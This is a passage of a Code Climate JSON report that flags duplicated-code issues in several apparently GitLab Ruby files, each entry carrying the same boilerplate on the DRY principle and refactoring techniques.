p76\n"},"fingerprint":"3ed85e9f30996e6d2ccc2e0700c1902e","severity":"minor","engine_name":"duplication"},{"type":"issue","check_name":"similar-code","description":"Similar blocks of code found in 2 locations. Consider refactoring.","categories":["Duplication"],"location":{"path":"lib/gitlab/background_migration/set_confidential_note_events_on_services.rb","lines":{"begin":5,"end":22}},"remediation_points":310000,"other_locations":[{"path":"lib/gitlab/background_migration/set_confidential_note_events_on_webhooks.rb","lines":{"begin":5,"end":22}}],"content":{"body":"## Duplicated Code\n\nDuplicated code can lead to software that is hard to understand and difficult to change. The Don't Repeat Yourself (DRY) principle states:\n\n> Every piece of knowledge must have a single, unambiguous, authoritative representation within a system.\n\nWhen you violate DRY, bugs and maintenance problems are sure to follow. Duplicated code has a tendency to both continue to replicate and also to diverge (leaving bugs as two similar implementations differ in subtle ways).\n\n## Tuning\n\n**This issue has a mass of 33**.\n\nWe set useful threshold defaults for the languages we support but you may want to adjust these settings based on your project guidelines.\n\nThe threshold configuration represents the minimum [mass](https://docs.codeclimate.com/docs/duplication#mass) a code block must have to be analyzed for duplication. The lower the threshold, the more fine-grained the comparison.\n\nIf the engine is too easily reporting duplication, try raising the threshold. If you suspect that the engine isn't catching enough duplication, try lowering the threshold. The best setting tends to differ from language to language.\n\nSee [`codeclimate-duplication`'s documentation](https://docs.codeclimate.com/docs/duplication) for more information about tuning the mass threshold in your `.codeclimate.yml`.\n\n## Refactorings\n\n* [Extract Method](http://sourcemaking.com/refactoring/extract-method)\n* [Extract Class](http://sourcemaking.com/refactoring/extract-class)\n* [Form Template Method](http://sourcemaking.com/refactoring/form-template-method)\n* [Introduce Null Object](http://sourcemaking.com/refactoring/introduce-null-object)\n* [Pull Up Method](http://sourcemaking.com/refactoring/pull-up-method)\n* [Pull Up Field](http://sourcemaking.com/refactoring/pull-up-field)\n* [Substitute Algorithm](http://sourcemaking.com/refactoring/substitute-algorithm)\n\n## Further Reading\n\n* [Don't Repeat Yourself](http://c2.com/cgi/wiki?DontRepeatYourself) on the C2 Wiki\n* [Duplicated Code](http://sourcemaking.com/refactoring/duplicated-code) on SourceMaking\n* [Refactoring: Improving the Design of Existing Code](http://www.amazon.com/Refactoring-Improving-Design-Existing-Code/dp/0201485672) by Martin Fowler. _Duplicated Code_, p76\n"},"fingerprint":"7ea2c375fc2078d33f6958933228ed7c","severity":"minor","engine_name":"duplication"},{"type":"issue","check_name":"similar-code","description":"Similar blocks of code found in 2 locations. Consider refactoring.","categories":["Duplication"],"location":{"path":"lib/backup/database.rb","lines":{"begin":23,"end":27}},"remediation_points":290000,"other_locations":[{"path":"lib/backup/database.rb","lines":{"begin":57,"end":61}}],"content":{"body":"## Duplicated Code\n\nDuplicated code can lead to software that is hard to understand and difficult to change. The Don't Repeat Yourself (DRY) principle states:\n\n> Every piece of knowledge must have a single, unambiguous, authoritative representation within a system.\n\nWhen you violate DRY, bugs and maintenance problems are sure to follow. Duplicated code has a tendency to both continue to replicate and also to diverge (leaving bugs as two similar implementations differ in subtle ways).\n\n## Tuning\n\n**This issue has a mass of 32**.\n\nWe set useful threshold defaults for the languages we support but you may want to adjust these settings based on your project guidelines.\n\nThe threshold configuration represents the minimum [mass](https://docs.codeclimate.com/docs/duplication#mass) a code block must have to be analyzed for duplication. The lower the threshold, the more fine-grained the comparison.\n\nIf the engine is too easily reporting duplication, try raising the threshold. If you suspect that the engine isn't catching enough duplication, try lowering the threshold. The best setting tends to differ from language to language.\n\nSee [`codeclimate-duplication`'s documentation](https://docs.codeclimate.com/docs/duplication) for more information about tuning the mass threshold in your `.codeclimate.yml`.\n\n## Refactorings\n\n* [Extract Method](http://sourcemaking.com/refactoring/extract-method)\n* [Extract Class](http://sourcemaking.com/refactoring/extract-class)\n* [Form Template Method](http://sourcemaking.com/refactoring/form-template-method)\n* [Introduce Null Object](http://sourcemaking.com/refactoring/introduce-null-object)\n* [Pull Up Method](http://sourcemaking.com/refactoring/pull-up-method)\n* [Pull Up Field](http://sourcemaking.com/refactoring/pull-up-field)\n* [Substitute Algorithm](http://sourcemaking.com/refactoring/substitute-algorithm)\n\n## Further Reading\n\n* [Don't Repeat Yourself](http://c2.com/cgi/wiki?DontRepeatYourself) on the C2 Wiki\n* [Duplicated Code](http://sourcemaking.com/refactoring/duplicated-code) on SourceMaking\n* [Refactoring: Improving the Design of Existing Code](http://www.amazon.com/Refactoring-Improving-Design-Existing-Code/dp/0201485672) by Martin Fowler. _Duplicated Code_, p76\n"},"fingerprint":"eb17727d02a7c074c3154590d6ac3890","severity":"minor","engine_name":"duplication"},{"type":"issue","check_name":"similar-code","description":"Similar blocks of code found in 2 locations. Consider refactoring.","categories":["Duplication"],"location":{"path":"lib/backup/database.rb","lines":{"begin":57,"end":61}},"remediation_points":290000,"other_locations":[{"path":"lib/backup/database.rb","lines":{"begin":23,"end":27}}],"content":{"body":"## Duplicated Code\n\nDuplicated code can lead to software that is hard to understand and difficult to change. The Don't Repeat Yourself (DRY) principle states:\n\n> Every piece of knowledge must have a single, unambiguous, authoritative representation within a system.\n\nWhen you violate DRY, bugs and maintenance problems are sure to follow. Duplicated code has a tendency to both continue to replicate and also to diverge (leaving bugs as two similar implementations differ in subtle ways).\n\n## Tuning\n\n**This issue has a mass of 32**.\n\nWe set useful threshold defaults for the languages we support but you may want to adjust these settings based on your project guidelines.\n\nThe threshold configuration represents the minimum [mass](https://docs.codeclimate.com/docs/duplication#mass) a code block must have to be analyzed for duplication. The lower the threshold, the more fine-grained the comparison.\n\nIf the engine is too easily reporting duplication, try raising the threshold. If you suspect that the engine isn't catching enough duplication, try lowering the threshold. The best setting tends to differ from language to language.\n\nSee [`codeclimate-duplication`'s documentation](https://docs.codeclimate.com/docs/duplication) for more information about tuning the mass threshold in your `.codeclimate.yml`.\n\n## Refactorings\n\n* [Extract Method](http://sourcemaking.com/refactoring/extract-method)\n* [Extract Class](http://sourcemaking.com/refactoring/extract-class)\n* [Form Template Method](http://sourcemaking.com/refactoring/form-template-method)\n* [Introduce Null Object](http://sourcemaking.com/refactoring/introduce-null-object)\n* [Pull Up Method](http://sourcemaking.com/refactoring/pull-up-method)\n* [Pull Up Field](http://sourcemaking.com/refactoring/pull-up-field)\n* [Substitute Algorithm](http://sourcemaking.com/refactoring/substitute-algorithm)\n\n## Further Reading\n\n* [Don't Repeat Yourself](http://c2.com/cgi/wiki?DontRepeatYourself) on the C2 Wiki\n* [Duplicated Code](http://sourcemaking.com/refactoring/duplicated-code) on SourceMaking\n* [Refactoring: Improving the Design of Existing Code](http://www.amazon.com/Refactoring-Improving-Design-Existing-Code/dp/0201485672) by Martin Fowler. _Duplicated Code_, p76\n"},"fingerprint":"eb17727d02a7c074c3154590d6ac3890","severity":"minor","engine_name":"duplication"},{"type":"issue","check_name":"similar-code","description":"Similar blocks of code found in 2 locations. Consider refactoring.","categories":["Duplication"],"location":{"path":"lib/banzai/filter/user_reference_filter.rb","lines":{"begin":130,"end":135}},"remediation_points":290000,"other_locations":[{"path":"lib/banzai/filter/user_reference_filter.rb","lines":{"begin":138,"end":143}}],"content":{"body":"## Duplicated Code\n\nDuplicated code can lead to software that is hard to understand and difficult to change. The Don't Repeat Yourself (DRY) principle states:\n\n> Every piece of knowledge must have a single, unambiguous, authoritative representation within a system.\n\nWhen you violate DRY, bugs and maintenance problems are sure to follow. Duplicated code has a tendency to both continue to replicate and also to diverge (leaving bugs as two similar implementations differ in subtle ways).\n\n## Tuning\n\n**This issue has a mass of 32**.\n\nWe set useful threshold defaults for the languages we support but you may want to adjust these settings based on your project guidelines.\n\nThe threshold configuration represents the minimum [mass](https://docs.codeclimate.com/docs/duplication#mass) a code block must have to be analyzed for duplication. The lower the threshold, the more fine-grained the comparison.\n\nIf the engine is too easily reporting duplication, try raising the threshold. If you suspect that the engine isn't catching enough duplication, try lowering the threshold. The best setting tends to differ from language to language.\n\nSee [`codeclimate-duplication`'s documentation](https://docs.codeclimate.com/docs/duplication) for more information about tuning the mass threshold in your `.codeclimate.yml`.\n\n## Refactorings\n\n* [Extract Method](http://sourcemaking.com/refactoring/extract-method)\n* [Extract Class](http://sourcemaking.com/refactoring/extract-class)\n* [Form Template Method](http://sourcemaking.com/refactoring/form-template-method)\n* [Introduce Null Object](http://sourcemaking.com/refactoring/introduce-null-object)\n* [Pull Up Method](http://sourcemaking.com/refactoring/pull-up-method)\n* [Pull Up Field](http://sourcemaking.com/refactoring/pull-up-field)\n* [Substitute Algorithm](http://sourcemaking.com/refactoring/substitute-algorithm)\n\n## Further Reading\n\n* [Don't Repeat Yourself](http://c2.com/cgi/wiki?DontRepeatYourself) on the C2 Wiki\n* [Duplicated Code](http://sourcemaking.com/refactoring/duplicated-code) on SourceMaking\n* [Refactoring: Improving the Design of Existing Code](http://www.amazon.com/Refactoring-Improving-Design-Existing-Code/dp/0201485672) by Martin Fowler. _Duplicated Code_, p76\n"},"fingerprint":"c728f05ae3efb5098c029de0b3280f52","severity":"minor","engine_name":"duplication"},{"type":"issue","check_name":"similar-code","description":"Similar blocks of code found in 2 locations. Consider refactoring.","categories":["Duplication"],"location":{"path":"lib/banzai/filter/user_reference_filter.rb","lines":{"begin":138,"end":143}},"remediation_points":290000,"other_locations":[{"path":"lib/banzai/filter/user_reference_filter.rb","lines":{"begin":130,"end":135}}],"content":{"body":"## Duplicated Code\n\nDuplicated code can lead to software that is hard to understand and difficult to change. The Don't Repeat Yourself (DRY) principle states:\n\n> Every piece of knowledge must have a single, unambiguous, authoritative representation within a system.\n\nWhen you violate DRY, bugs and maintenance problems are sure to follow. Duplicated code has a tendency to both continue to replicate and also to diverge (leaving bugs as two similar implementations differ in subtle ways).\n\n## Tuning\n\n**This issue has a mass of 32**.\n\nWe set useful threshold defaults for the languages we support but you may want to adjust these settings based on your project guidelines.\n\nThe threshold configuration represents the minimum [mass](https://docs.codeclimate.com/docs/duplication#mass) a code block must have to be analyzed for duplication. The lower the threshold, the more fine-grained the comparison.\n\nIf the engine is too easily reporting duplication, try raising the threshold. If you suspect that the engine isn't catching enough duplication, try lowering the threshold. The best setting tends to differ from language to language.\n\nSee [`codeclimate-duplication`'s documentation](https://docs.codeclimate.com/docs/duplication) for more information about tuning the mass threshold in your `.codeclimate.yml`.\n\n## Refactorings\n\n* [Extract Method](http://sourcemaking.com/refactoring/extract-method)\n* [Extract Class](http://sourcemaking.com/refactoring/extract-class)\n* [Form Template Method](http://sourcemaking.com/refactoring/form-template-method)\n* [Introduce Null Object](http://sourcemaking.com/refactoring/introduce-null-object)\n* [Pull Up Method](http://sourcemaking.com/refactoring/pull-up-method)\n* [Pull Up Field](http://sourcemaking.com/refactoring/pull-up-field)\n* [Substitute Algorithm](http://sourcemaking.com/refactoring/substitute-algorithm)\n\n## Further Reading\n\n* [Don't Repeat Yourself](http://c2.com/cgi/wiki?DontRepeatYourself) on the C2 Wiki\n* [Duplicated Code](http://sourcemaking.com/refactoring/duplicated-code) on SourceMaking\n* [Refactoring: Improving the Design of Existing Code](http://www.amazon.com/Refactoring-Improving-Design-Existing-Code/dp/0201485672) by Martin Fowler. _Duplicated Code_, p76\n"},"fingerprint":"c728f05ae3efb5098c029de0b3280f52","severity":"minor","engine_name":"duplication"},{"type":"issue","check_name":"similar-code","description":"Similar blocks of code found in 2 locations. Consider refactoring.","categories":["Duplication"],"location":{"path":"app/models/concerns/updated_at_filterable.rb","lines":{"begin":6,"end":11}},"remediation_points":270000,"other_locations":[{"path":"app/models/concerns/created_at_filterable.rb","lines":{"begin":6,"end":11}}],"content":{"body":"## Duplicated Code\n\nDuplicated code can lead to software that is hard to understand and difficult to change. The Don't Repeat Yourself (DRY) principle states:\n\n> Every piece of knowledge must have a single, unambiguous, authoritative representation within a system.\n\nWhen you violate DRY, bugs and maintenance problems are sure to follow. Duplicated code has a tendency to both continue to replicate and also to diverge (leaving bugs as two similar implementations differ in subtle ways).\n\n## Tuning\n\n**This issue has a mass of 31**.\n\nWe set useful threshold defaults for the languages we support but you may want to adjust these settings based on your project guidelines.\n\nThe threshold configuration represents the minimum [mass](https://docs.codeclimate.com/docs/duplication#mass) a code block must have to be analyzed for duplication. The lower the threshold, the more fine-grained the comparison.\n\nIf the engine is too easily reporting duplication, try raising the threshold. If you suspect that the engine isn't catching enough duplication, try lowering the threshold. The best setting tends to differ from language to language.\n\nSee [`codeclimate-duplication`'s documentation](https://docs.codeclimate.com/docs/duplication) for more information about tuning the mass threshold in your `.codeclimate.yml`.\n\n## Refactorings\n\n* [Extract Method](http://sourcemaking.com/refactoring/extract-method)\n* [Extract Class](http://sourcemaking.com/refactoring/extract-class)\n* [Form Template Method](http://sourcemaking.com/refactoring/form-template-method)\n* [Introduce Null Object](http://sourcemaking.com/refactoring/introduce-null-object)\n* [Pull Up Method](http://sourcemaking.com/refactoring/pull-up-method)\n* [Pull Up Field](http://sourcemaking.com/refactoring/pull-up-field)\n* [Substitute Algorithm](http://sourcemaking.com/refactoring/substitute-algorithm)\n\n## Further Reading\n\n* [Don't Repeat Yourself](http://c2.com/cgi/wiki?DontRepeatYourself) on the C2 Wiki\n* [Duplicated Code](http://sourcemaking.com/refactoring/duplicated-code) on SourceMaking\n* [Refactoring: Improving the Design of Existing Code](http://www.amazon.com/Refactoring-Improving-Design-Existing-Code/dp/0201485672) by Martin Fowler. _Duplicated Code_, p76\n"},"fingerprint":"cf343522a426e7b5b70965cafd123e2d","severity":"minor","engine_name":"duplication"},{"type":"issue","check_name":"similar-code","description":"Similar blocks of code found in 2 locations. Consider refactoring.","categories":["Duplication"],"location":{"path":"app/models/concerns/created_at_filterable.rb","lines":{"begin":6,"end":11}},"remediation_points":270000,"other_locations":[{"path":"app/models/concerns/updated_at_filterable.rb","lines":{"begin":6,"end":11}}],"content":{"body":"## Duplicated Code\n\nDuplicated code can lead to software that is hard to understand and difficult to change. The Don't Repeat Yourself (DRY) principle states:\n\n> Every piece of knowledge must have a single, unambiguous, authoritative representation within a system.\n\nWhen you violate DRY, bugs and maintenance problems are sure to follow. Duplicated code has a tendency to both continue to replicate and also to diverge (leaving bugs as two similar implementations differ in subtle ways).\n\n## Tuning\n\n**This issue has a mass of 31**.\n\nWe set useful threshold defaults for the languages we support but you may want to adjust these settings based on your project guidelines.\n\nThe threshold configuration represents the minimum [mass](https://docs.codeclimate.com/docs/duplication#mass) a code block must have to be analyzed for duplication. The lower the threshold, the more fine-grained the comparison.\n\nIf the engine is too easily reporting duplication, try raising the threshold. If you suspect that the engine isn't catching enough duplication, try lowering the threshold. The best setting tends to differ from language to language.\n\nSee [`codeclimate-duplication`'s documentation](https://docs.codeclimate.com/docs/duplication) for more information about tuning the mass threshold in your `.codeclimate.yml`.\n\n## Refactorings\n\n* [Extract Method](http://sourcemaking.com/refactoring/extract-method)\n* [Extract Class](http://sourcemaking.com/refactoring/extract-class)\n* [Form Template Method](http://sourcemaking.com/refactoring/form-template-method)\n* [Introduce Null Object](http://sourcemaking.com/refactoring/introduce-null-object)\n* [Pull Up Method](http://sourcemaking.com/refactoring/pull-up-method)\n* [Pull Up Field](http://sourcemaking.com/refactoring/pull-up-field)\n* [Substitute Algorithm](http://sourcemaking.com/refactoring/substitute-algorithm)\n\n## Further Reading\n\n* [Don't Repeat Yourself](http://c2.com/cgi/wiki?DontRepeatYourself) on the C2 Wiki\n* [Duplicated Code](http://sourcemaking.com/refactoring/duplicated-code) on SourceMaking\n* [Refactoring: Improving the Design of Existing Code](http://www.amazon.com/Refactoring-Improving-Design-Existing-Code/dp/0201485672) by Martin Fowler. _Duplicated Code_, p76\n"},"fingerprint":"83ce9e73df4d8e3e8128ba7268e47c86","severity":"minor","engine_name":"duplication"},{"type":"issue","check_name":"similar-code","description":"Similar blocks of code found in 2 locations. Consider refactoring.","categories":["Duplication"],"location":{"path":"app/models/user.rb","lines":{"begin":1183,"end":1185}},"remediation_points":270000,"other_locations":[{"path":"app/models/user.rb","lines":{"begin":1189,"end":1191}}],"content":{"body":"## Duplicated Code\n\nDuplicated code can lead to software that is hard to understand and difficult to change. The Don't Repeat Yourself (DRY) principle states:\n\n> Every piece of knowledge must have a single, unambiguous, authoritative representation within a system.\n\nWhen you violate DRY, bugs and maintenance problems are sure to follow. Duplicated code has a tendency to both continue to replicate and also to diverge (leaving bugs as two similar implementations differ in subtle ways).\n\n## Tuning\n\n**This issue has a mass of 31**.\n\nWe set useful threshold defaults for the languages we support but you may want to adjust these settings based on your project guidelines.\n\nThe threshold configuration represents the minimum [mass](https://docs.codeclimate.com/docs/duplication#mass) a code block must have to be analyzed for duplication. The lower the threshold, the more fine-grained the comparison.\n\nIf the engine is too easily reporting duplication, try raising the threshold. If you suspect that the engine isn't catching enough duplication, try lowering the threshold. The best setting tends to differ from language to language.\n\nSee [`codeclimate-duplication`'s documentation](https://docs.codeclimate.com/docs/duplication) for more information about tuning the mass threshold in your `.codeclimate.yml`.\n\n## Refactorings\n\n* [Extract Method](http://sourcemaking.com/refactoring/extract-method)\n* [Extract Class](http://sourcemaking.com/refactoring/extract-class)\n* [Form Template Method](http://sourcemaking.com/refactoring/form-template-method)\n* [Introduce Null Object](http://sourcemaking.com/refactoring/introduce-null-object)\n* [Pull Up Method](http://sourcemaking.com/refactoring/pull-up-method)\n* [Pull Up Field](http://sourcemaking.com/refactoring/pull-up-field)\n* [Substitute Algorithm](http://sourcemaking.com/refactoring/substitute-algorithm)\n\n## Further Reading\n\n* [Don't Repeat Yourself](http://c2.com/cgi/wiki?DontRepeatYourself) on the C2 Wiki\n* [Duplicated Code](http://sourcemaking.com/refactoring/duplicated-code) on SourceMaking\n* [Refactoring: Improving the Design of Existing Code](http://www.amazon.com/Refactoring-Improving-Design-Existing-Code/dp/0201485672) by Martin Fowler. _Duplicated Code_, p76\n"},"fingerprint":"5c5665e3faea9b14f82119a1c414984d","severity":"minor","engine_name":"duplication"},{"type":"issue","check_name":"similar-code","description":"Similar blocks of code found in 2 locations. Consider refactoring.","categories":["Duplication"],"location":{"path":"app/models/user.rb","lines":{"begin":1189,"end":1191}},"remediation_points":270000,"other_locations":[{"path":"app/models/user.rb","lines":{"begin":1183,"end":1185}}],"content":{"body":"## Duplicated Code\n\nDuplicated code can lead to software that is hard to understand and difficult to change. The Don't Repeat Yourself (DRY) principle states:\n\n> Every piece of knowledge must have a single, unambiguous, authoritative representation within a system.\n\nWhen you violate DRY, bugs and maintenance problems are sure to follow. Duplicated code has a tendency to both continue to replicate and also to diverge (leaving bugs as two similar implementations differ in subtle ways).\n\n## Tuning\n\n**This issue has a mass of 31**.\n\nWe set useful threshold defaults for the languages we support but you may want to adjust these settings based on your project guidelines.\n\nThe threshold configuration represents the minimum [mass](https://docs.codeclimate.com/docs/duplication#mass) a code block must have to be analyzed for duplication. The lower the threshold, the more fine-grained the comparison.\n\nIf the engine is too easily reporting duplication, try raising the threshold. If you suspect that the engine isn't catching enough duplication, try lowering the threshold. The best setting tends to differ from language to language.\n\nSee [`codeclimate-duplication`'s documentation](https://docs.codeclimate.com/docs/duplication) for more information about tuning the mass threshold in your `.codeclimate.yml`.\n\n## Refactorings\n\n* [Extract Method](http://sourcemaking.com/refactoring/extract-method)\n* [Extract Class](http://sourcemaking.com/refactoring/extract-class)\n* [Form Template Method](http://sourcemaking.com/refactoring/form-template-method)\n* [Introduce Null Object](http://sourcemaking.com/refactoring/introduce-null-object)\n* [Pull Up Method](http://sourcemaking.com/refactoring/pull-up-method)\n* [Pull Up Field](http://sourcemaking.com/refactoring/pull-up-field)\n* [Substitute Algorithm](http://sourcemaking.com/refactoring/substitute-algorithm)\n\n## Further Reading\n\n* [Don't Repeat Yourself](http://c2.com/cgi/wiki?DontRepeatYourself) on the C2 Wiki\n* [Duplicated Code](http://sourcemaking.com/refactoring/duplicated-code) on SourceMaking\n* [Refactoring: Improving the Design of Existing Code](http://www.amazon.com/Refactoring-Improving-Design-Existing-Code/dp/0201485672) by Martin Fowler. _Duplicated Code_, p76\n"},"fingerprint":"5c5665e3faea9b14f82119a1c414984d","severity":"minor","engine_name":"duplication"},{"type":"issue","check_name":"similar-code","description":"Similar blocks of code found in 2 locations. Consider refactoring.","categories":["Duplication"],"location":{"path":"lib/gitlab/legacy_github_import/importer.rb","lines":{"begin":90,"end":96}},"remediation_points":270000,"other_locations":[{"path":"lib/gitlab/legacy_github_import/importer.rb","lines":{"begin":105,"end":111}}],"content":{"body":"## Duplicated Code\n\nDuplicated code can lead to software that is hard to understand and difficult to change. The Don't Repeat Yourself (DRY) principle states:\n\n> Every piece of knowledge must have a single, unambiguous, authoritative representation within a system.\n\nWhen you violate DRY, bugs and maintenance problems are sure to follow. Duplicated code has a tendency to both continue to replicate and also to diverge (leaving bugs as two similar implementations differ in subtle ways).\n\n## Tuning\n\n**This issue has a mass of 31**.\n\nWe set useful threshold defaults for the languages we support but you may want to adjust these settings based on your project guidelines.\n\nThe threshold configuration represents the minimum [mass](https://docs.codeclimate.com/docs/duplication#mass) a code block must have to be analyzed for duplication. The lower the threshold, the more fine-grained the comparison.\n\nIf the engine is too easily reporting duplication, try raising the threshold. If you suspect that the engine isn't catching enough duplication, try lowering the threshold. The best setting tends to differ from language to language.\n\nSee [`codeclimate-duplication`'s documentation](https://docs.codeclimate.com/docs/duplication) for more information about tuning the mass threshold in your `.codeclimate.yml`.\n\n## Refactorings\n\n* [Extract Method](http://sourcemaking.com/refactoring/extract-method)\n* [Extract Class](http://sourcemaking.com/refactoring/extract-class)\n* [Form Template Method](http://sourcemaking.com/refactoring/form-template-method)\n* [Introduce Null Object](http://sourcemaking.com/refactoring/introduce-null-object)\n* [Pull Up Method](http://sourcemaking.com/refactoring/pull-up-method)\n* [Pull Up Field](http://sourcemaking.com/refactoring/pull-up-field)\n* [Substitute Algorithm](http://sourcemaking.com/refactoring/substitute-algorithm)\n\n## Further Reading\n\n* [Don't Repeat Yourself](http://c2.com/cgi/wiki?DontRepeatYourself) on the C2 Wiki\n* [Duplicated Code](http://sourcemaking.com/refactoring/duplicated-code) on SourceMaking\n* [Refactoring: Improving the Design of Existing Code](http://www.amazon.com/Refactoring-Improving-Design-Existing-Code/dp/0201485672) by Martin Fowler. _Duplicated Code_, p76\n"},"fingerprint":"fb529d437944a41ecb389c07d4f4b95c","severity":"minor","engine_name":"duplication"},{"type":"issue","check_name":"similar-code","description":"Similar blocks of code found in 2 locations. Consider refactoring.","categories":["Duplication"],"location":{"path":"lib/gitlab/legacy_github_import/importer.rb","lines":{"begin":105,"end":111}},"remediation_points":270000,"other_locations":[{"path":"lib/gitlab/legacy_github_import/importer.rb","lines":{"begin":90,"end":96}}],"content":{"body":"## Duplicated Code\n\nDuplicated code can lead to software that is hard to understand and difficult to change. The Don't Repeat Yourself (DRY) principle states:\n\n> Every piece of knowledge must have a single, unambiguous, authoritative representation within a system.\n\nWhen you violate DRY, bugs and maintenance problems are sure to follow. Duplicated code has a tendency to both continue to replicate and also to diverge (leaving bugs as two similar implementations differ in subtle ways).\n\n## Tuning\n\n**This issue has a mass of 31**.\n\nWe set useful threshold defaults for the languages we support but you may want to adjust these settings based on your project guidelines.\n\nThe threshold configuration represents the minimum [mass](https://docs.codeclimate.com/docs/duplication#mass) a code block must have to be analyzed for duplication. The lower the threshold, the more fine-grained the comparison.\n\nIf the engine is too easily reporting duplication, try raising the threshold. If you suspect that the engine isn't catching enough duplication, try lowering the threshold. The best setting tends to differ from language to language.\n\nSee [`codeclimate-duplication`'s documentation](https://docs.codeclimate.com/docs/duplication) for more information about tuning the mass threshold in your `.codeclimate.yml`.\n\n## Refactorings\n\n* [Extract Method](http://sourcemaking.com/refactoring/extract-method)\n* [Extract Class](http://sourcemaking.com/refactoring/extract-class)\n* [Form Template Method](http://sourcemaking.com/refactoring/form-template-method)\n* [Introduce Null Object](http://sourcemaking.com/refactoring/introduce-null-object)\n* [Pull Up Method](http://sourcemaking.com/refactoring/pull-up-method)\n* [Pull Up Field](http://sourcemaking.com/refactoring/pull-up-field)\n* [Substitute Algorithm](http://sourcemaking.com/refactoring/substitute-algorithm)\n\n## Further Reading\n\n* [Don't Repeat Yourself](http://c2.com/cgi/wiki?DontRepeatYourself) on the C2 Wiki\n* [Duplicated Code](http://sourcemaking.com/refactoring/duplicated-code) on SourceMaking\n* [Refactoring: Improving the Design of Existing Code](http://www.amazon.com/Refactoring-Improving-Design-Existing-Code/dp/0201485672) by Martin Fowler. _Duplicated Code_, p76\n"},"fingerprint":"fb529d437944a41ecb389c07d4f4b95c","severity":"minor","engine_name":"duplication"},{"type":"issue","check_name":"similar-code","description":"Similar blocks of code found in 2 locations. Consider refactoring.","categories":["Duplication"],"location":{"path":"lib/system_check/app/tmp_writable_check.rb","lines":{"begin":2,"end":24}},"remediation_points":270000,"other_locations":[{"path":"lib/system_check/app/log_writable_check.rb","lines":{"begin":2,"end":24}}],"content":{"body":"## Duplicated Code\n\nDuplicated code can lead to software that is hard to understand and difficult to change. The Don't Repeat Yourself (DRY) principle states:\n\n> Every piece of knowledge must have a single, unambiguous, authoritative representation within a system.\n\nWhen you violate DRY, bugs and maintenance problems are sure to follow. Duplicated code has a tendency to both continue to replicate and also to diverge (leaving bugs as two similar implementations differ in subtle ways).\n\n## Tuning\n\n**This issue has a mass of 31**.\n\nWe set useful threshold defaults for the languages we support but you may want to adjust these settings based on your project guidelines.\n\nThe threshold configuration represents the minimum [mass](https://docs.codeclimate.com/docs/duplication#mass) a code block must have to be analyzed for duplication. The lower the threshold, the more fine-grained the comparison.\n\nIf the engine is too easily reporting duplication, try raising the threshold. If you suspect that the engine isn't catching enough duplication, try lowering the threshold. The best setting tends to differ from language to language.\n\nSee [`codeclimate-duplication`'s documentation](https://docs.codeclimate.com/docs/duplication) for more information about tuning the mass threshold in your `.codeclimate.yml`.\n\n## Refactorings\n\n* [Extract Method](http://sourcemaking.com/refactoring/extract-method)\n* [Extract Class](http://sourcemaking.com/refactoring/extract-class)\n* [Form Template Method](http://sourcemaking.com/refactoring/form-template-method)\n* [Introduce Null Object](http://sourcemaking.com/refactoring/introduce-null-object)\n* [Pull Up Method](http://sourcemaking.com/refactoring/pull-up-method)\n* [Pull Up Field](http://sourcemaking.com/refactoring/pull-up-field)\n* [Substitute Algorithm](http://sourcemaking.com/refactoring/substitute-algorithm)\n\n## Further Reading\n\n* [Don't Repeat Yourself](http://c2.com/cgi/wiki?DontRepeatYourself) on the C2 Wiki\n* [Duplicated Code](http://sourcemaking.com/refactoring/duplicated-code) on SourceMaking\n* [Refactoring: Improving the Design of Existing Code](http://www.amazon.com/Refactoring-Improving-Design-Existing-Code/dp/0201485672) by Martin Fowler. _Duplicated Code_, p76\n"},"fingerprint":"5873e0223d34261535ea9380a655f530","severity":"minor","engine_name":"duplication"},{"type":"issue","check_name":"similar-code","description":"Similar blocks of code found in 2 locations. Consider refactoring.","categories":["Duplication"],"location":{"path":"lib/system_check/app/log_writable_check.rb","lines":{"begin":2,"end":24}},"remediation_points":270000,"other_locations":[{"path":"lib/system_check/app/tmp_writable_check.rb","lines":{"begin":2,"end":24}}],"content":{"body":"## Duplicated Code\n\nDuplicated code can lead to software that is hard to understand and difficult to change. The Don't Repeat Yourself (DRY) principle states:\n\n> Every piece of knowledge must have a single, unambiguous, authoritative representation within a system.\n\nWhen you violate DRY, bugs and maintenance problems are sure to follow. Duplicated code has a tendency to both continue to replicate and also to diverge (leaving bugs as two similar implementations differ in subtle ways).\n\n## Tuning\n\n**This issue has a mass of 31**.\n\nWe set useful threshold defaults for the languages we support but you may want to adjust these settings based on your project guidelines.\n\nThe threshold configuration represents the minimum [mass](https://docs.codeclimate.com/docs/duplication#mass) a code block must have to be analyzed for duplication. The lower the threshold, the more fine-grained the comparison.\n\nIf the engine is too easily reporting duplication, try raising the threshold. If you suspect that the engine isn't catching enough duplication, try lowering the threshold. The best setting tends to differ from language to language.\n\nSee [`codeclimate-duplication`'s documentation](https://docs.codeclimate.com/docs/duplication) for more information about tuning the mass threshold in your `.codeclimate.yml`.\n\n## Refactorings\n\n* [Extract Method](http://sourcemaking.com/refactoring/extract-method)\n* [Extract Class](http://sourcemaking.com/refactoring/extract-class)\n* [Form Template Method](http://sourcemaking.com/refactoring/form-template-method)\n* [Introduce Null Object](http://sourcemaking.com/refactoring/introduce-null-object)\n* [Pull Up Method](http://sourcemaking.com/refactoring/pull-up-method)\n* [Pull Up Field](http://sourcemaking.com/refactoring/pull-up-field)\n* [Substitute Algorithm](http://sourcemaking.com/refactoring/substitute-algorithm)\n\n## Further Reading\n\n* [Don't Repeat Yourself](http://c2.com/cgi/wiki?DontRepeatYourself) on the C2 Wiki\n* [Duplicated Code](http://sourcemaking.com/refactoring/duplicated-code) on SourceMaking\n* [Refactoring: Improving the Design of Existing Code](http://www.amazon.com/Refactoring-Improving-Design-Existing-Code/dp/0201485672) by Martin Fowler. _Duplicated Code_, p76\n"},"fingerprint":"f5f6516f48de36202ed1fb08b864850e","severity":"minor","engine_name":"duplication"},{"type":"issue","check_name":"similar-code","description":"Similar blocks of code found in 2 locations. Consider refactoring.","categories":["Duplication"],"location":{"path":"app/services/search_service.rb","lines":{"begin":12,"end":20}},"remediation_points":250000,"other_locations":[{"path":"app/services/search_service.rb","lines":{"begin":26,"end":34}}],"content":{"body":"## Duplicated Code\n\nDuplicated code can lead to software that is hard to understand and difficult to change. The Don't Repeat Yourself (DRY) principle states:\n\n> Every piece of knowledge must have a single, unambiguous, authoritative representation within a system.\n\nWhen you violate DRY, bugs and maintenance problems are sure to follow. Duplicated code has a tendency to both continue to replicate and also to diverge (leaving bugs as two similar implementations differ in subtle ways).\n\n## Tuning\n\n**This issue has a mass of 30**.\n\nWe set useful threshold defaults for the languages we support but you may want to adjust these settings based on your project guidelines.\n\nThe threshold configuration represents the minimum 